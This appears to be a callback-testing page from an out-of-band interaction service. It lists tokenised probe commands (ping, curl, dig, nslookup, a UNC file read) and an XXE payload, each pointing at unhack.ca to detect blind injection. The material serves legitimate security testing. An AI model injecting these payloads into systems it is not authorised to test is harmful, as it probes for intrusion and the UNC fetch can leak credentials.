$ ping -c1 -p 005c82b107737b69bf439447d5086d00 unhack.ca
$ curl http://unhack.ca/p/5c82b107737b69bf439447d5086d
$ dig 5c82b107737b69bf439447d5086d @unhack.ca
$ dig 5c82b107737b69bf439447d5086d.ns.unhack.ca
C:\> nslookup 5c82b107737b69bf439447d5086d unhack.ca
C:\> type \\unhack.ca\5c82b107737b69bf439447d5086d\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/5c82b107737b69bf439447d5086d">]>
<foo>&xxe;</foo>
Waiting for ping...